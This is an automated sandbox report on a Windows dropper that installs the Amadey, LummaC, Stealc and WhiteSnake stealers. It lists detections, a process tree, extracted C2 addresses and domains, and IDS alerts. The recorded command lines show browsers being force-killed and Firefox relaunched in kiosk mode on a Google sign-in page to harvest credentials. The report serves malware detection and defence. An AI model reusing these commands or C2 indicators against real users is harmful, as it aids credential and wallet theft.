Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1545806
MD5:	ec6bf4a264e7ef670873ef017d9f1c00
SHA1:	1264fcb7c7ba47274b84479176b5d4408b5a28fb
SHA256:	2ab02de37a3ef20dff2abb365711aabe7e99858c43e7eb0a2b88b8928ee3a327
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, WhiteSnake Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected AntiVM3

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected WhiteSnake Stealer

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

Yara detected Costura Assembly Loader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7304 cmdline: "C:\Users\user\Desktop\file.exe" MD5: EC6BF4A264E7EF670873EF017D9F1C00)

NSXWT8JG74T0IR99MSITIVFVWS7V.exe (PID: 7848 cmdline: "C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe" MD5: 7319CE2EC56F42705DAC4591A2B6C22D)

VG65QSLZVUGSLKDE78EZSIIG.exe (PID: 7976 cmdline: "C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe" MD5: 35D4E711A6F11E28761E26740A4DAD7C)

skotes.exe (PID: 8172 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 35D4E711A6F11E28761E26740A4DAD7C)

skotes.exe (PID: 1544 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 35D4E711A6F11E28761E26740A4DAD7C)

skotes.exe (PID: 404 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 35D4E711A6F11E28761E26740A4DAD7C)

innoinstaller.exe (PID: 5740 cmdline: "C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe" MD5: 61162ABF98861E7E3176DF82D232523E)

InstallUtil.exe (PID: 6032 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

WerFault.exe (PID: 3752 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6032 -s 1028 MD5: C31336C1EFC2CCB44B4326EA793040F2)

70bf1463df.exe (PID: 6984 cmdline: "C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe" MD5: EC6BF4A264E7EF670873EF017D9F1C00)

UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe (PID: 1860 cmdline: "C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe" MD5: 7319CE2EC56F42705DAC4591A2B6C22D)

IPBFM5C40FWD77UPB7GOCE.exe (PID: 2368 cmdline: "C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe" MD5: 35D4E711A6F11E28761E26740A4DAD7C)

e90585a72a.exe (PID: 3620 cmdline: "C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe" MD5: 08093CA094E4BD396C0A1202363CE047)

384a543dd0.exe (PID: 7480 cmdline: "C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe" MD5: F75D194E93D6D5623177EF886053C197)

taskkill.exe (PID: 7304 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4192 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1340 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2024 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7656 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1780 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 4820 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 6564 cmdline: "C:\Users\user\AppData\Local\Temp\1002767001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

firefox.exe (PID: 8004 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 8020 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6096 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2312 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2248 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {95852de9-fa07-429f-b0eb-acecbe82c7f0} 8020 "\\.\pipe\gecko-crash-server-pipe.8020" 1b32c56b710 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5880 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4424 -parentBuildID 20230927232528 -prefsHandle 4436 -prefMapHandle 3868 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {80b71839-4a51-456b-9b0f-3f9628a6f368} 8020 "\\.\pipe\gecko-crash-server-pipe.8020" 1b33e6f2810 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: LummaC

{"C2 url": ["founpiuer.store", "presticitpo.store", "thumbystriw.store", "fadehairucw.store", "crisiwarny.store", "necklacedmny.store", "scriptyprefej.store", "navygenerayk.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\1002767001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000011.00000002.2707046066.000000000120E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000003.2081884268.0000000005560000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000002.2154589683.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000023.00000002.2829604332.0000000000ACE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000002.2492272266.0000000005530000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000008.00000002.2931180827.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000024.00000002.2895934799.0000000000C21000.00000040.00000001.01000000.0000001B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000003.2665005403.0000000005030000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000002.2122356515.0000000000E61000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000023.00000000.2812170564.0000000000D1E000.00000002.00000001.01000000.0000001A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000023.00000002.2832801090.0000000000D1E000.00000002.00000001.01000000.0000001A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000003.2109439630.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000023.00000000.2811743651.0000000000D01000.00000080.00000001.01000000.0000001A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000023.00000002.2832117912.0000000000D01000.00000080.00000001.01000000.0000001A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000024.00000003.2855232962.0000000005020000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_WhiteSnake	Yara detected WhiteSnake Stealer	Joe Security
00000007.00000003.2112931245.00000000049D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000002.2706006259.0000000000651000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000002.2150060118.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000003.2342681406.00000000052F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000002.2477259453.00000000027C7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: file.exe PID: 7304	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 7304	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7304	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: innoinstaller.exe PID: 5740	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: innoinstaller.exe PID: 5740	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: InstallUtil.exe PID: 6032	JoeSecurity_WhiteSnake	Yara detected WhiteSnake Stealer	Joe Security
Process Memory Space: 70bf1463df.exe PID: 6984	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 70bf1463df.exe PID: 6984	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: e90585a72a.exe PID: 3620	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: e90585a72a.exe PID: 3620	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 384a543dd0.exe PID: 7480	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 28 entries

Unpacked PEs

Source	Rule	Description	Author
9.2.innoinstaller.exe.5530000.9.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
36.2.IPBFM5C40FWD77UPB7GOCE.exe.c20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
35.2.num.exe.d00000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
35.0.num.exe.d00000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
5.2.VG65QSLZVUGSLKDE78EZSIIG.exe.e60000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.2.skotes.exe.3f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
8.2.skotes.exe.3f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
17.2.e90585a72a.exe.650000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
6.2.skotes.exe.3f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 4 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 404, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\70bf1463df.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 404, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\70bf1463df.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T03:02:59.425541+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-31T03:03:00.612977+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-31T03:03:26.079982+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49743	188.114.97.3	443	TCP
2024-10-31T03:04:27.904550+0100	2054653	1	A Network Trojan was detected	192.168.2.4	63882	188.114.96.3	443	TCP
2024-10-31T03:04:29.015607+0100	2054653	1	A Network Trojan was detected	192.168.2.4	63892	188.114.96.3	443	TCP
2024-10-31T03:04:40.060852+0100	2054653	1	A Network Trojan was detected	192.168.2.4	63958	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T03:02:59.425541+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-31T03:04:27.904550+0100	2049836	1	A Network Trojan was detected	192.168.2.4	63882	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T03:03:00.612977+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-31T03:04:29.015607+0100	2049812	1	A Network Trojan was detected	192.168.2.4	63892	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T03:02:58.882979+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-31T03:03:00.095437+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-31T03:03:01.450399+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49732	188.114.97.3	443	TCP
2024-10-31T03:03:02.998622+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49733	188.114.97.3	443	TCP
2024-10-31T03:03:04.352114+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49734	188.114.97.3	443	TCP
2024-10-31T03:03:06.006006+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49735	188.114.97.3	443	TCP
2024-10-31T03:03:07.490789+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49736	188.114.97.3	443	TCP
2024-10-31T03:03:25.751480+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49743	188.114.97.3	443	TCP
2024-10-31T03:04:27.417236+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	63882	188.114.96.3	443	TCP
2024-10-31T03:04:28.554945+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	63892	188.114.96.3	443	TCP
2024-10-31T03:04:29.955335+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	63900	188.114.96.3	443	TCP
2024-10-31T03:04:31.315259+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	63909	188.114.96.3	443	TCP
2024-10-31T03:04:33.273443+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	63922	188.114.96.3	443	TCP
2024-10-31T03:04:35.228757+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	63933	188.114.96.3	443	TCP
2024-10-31T03:04:36.767638+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	63943	188.114.96.3	443	TCP
2024-10-31T03:04:39.352958+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	63958	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T03:03:26.999113+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49744	185.215.113.16	80	TCP
2024-10-31T03:04:40.977843+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	63964	185.215.113.16	80	TCP
2024-10-31T03:04:45.134498+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	63986	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T03:04:16.758782+0100	2044696	1	A Network Trojan was detected	192.168.2.4	63821	185.215.113.43	80	TCP
2024-10-31T03:04:27.111330+0100	2044696	1	A Network Trojan was detected	192.168.2.4	63879	185.215.113.43	80	TCP
2024-10-31T03:04:36.630414+0100	2044696	1	A Network Trojan was detected	192.168.2.4	63939	185.215.113.43	80	TCP
2024-10-31T03:04:44.188621+0100	2044696	1	A Network Trojan was detected	192.168.2.4	63980	185.215.113.43	80	TCP
2024-10-31T03:04:52.228491+0100	2044696	1	A Network Trojan was detected	192.168.2.4	63998	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T03:02:58.189062+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	50721	1.1.1.1	53	UDP
2024-10-31T03:04:26.739416+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	51938	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T03:02:58.199140+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	56693	1.1.1.1	53	UDP
2024-10-31T03:04:26.752420+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	62171	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T03:02:58.220063+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.4	54054	1.1.1.1	53	UDP
2024-10-31T03:04:26.771890+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.4	51006	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T03:02:58.155457+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	61708	1.1.1.1	53	UDP
2024-10-31T03:04:26.724652+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	57960	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T03:02:58.208648+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	55266	1.1.1.1	53	UDP
2024-10-31T03:04:26.762096+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	50424	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T03:03:06.449432+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49735	188.114.97.3	443	TCP
2024-10-31T03:04:35.652244+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	63933	188.114.96.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T03:04:37.858608+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	63947	185.215.113.206	80	TCP
2024-10-31T03:04:50.925354+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	63996	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T03:04:05.929635+0100	2856147	1	A Network Trojan was detected	192.168.2.4	63758	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T03:04:15.846167+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	63774	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T03:04:09.275569+0100	2803305	3	Unknown Traffic	192.168.2.4	63780	41.216.183.61	80	TCP
2024-10-31T03:04:17.679514+0100	2803305	3	Unknown Traffic	192.168.2.4	63827	185.215.113.16	80	TCP
2024-10-31T03:04:28.042603+0100	2803305	3	Unknown Traffic	192.168.2.4	63886	185.215.113.16	80	TCP
2024-10-31T03:04:37.539849+0100	2803305	3	Unknown Traffic	192.168.2.4	63946	185.215.113.16	80	TCP
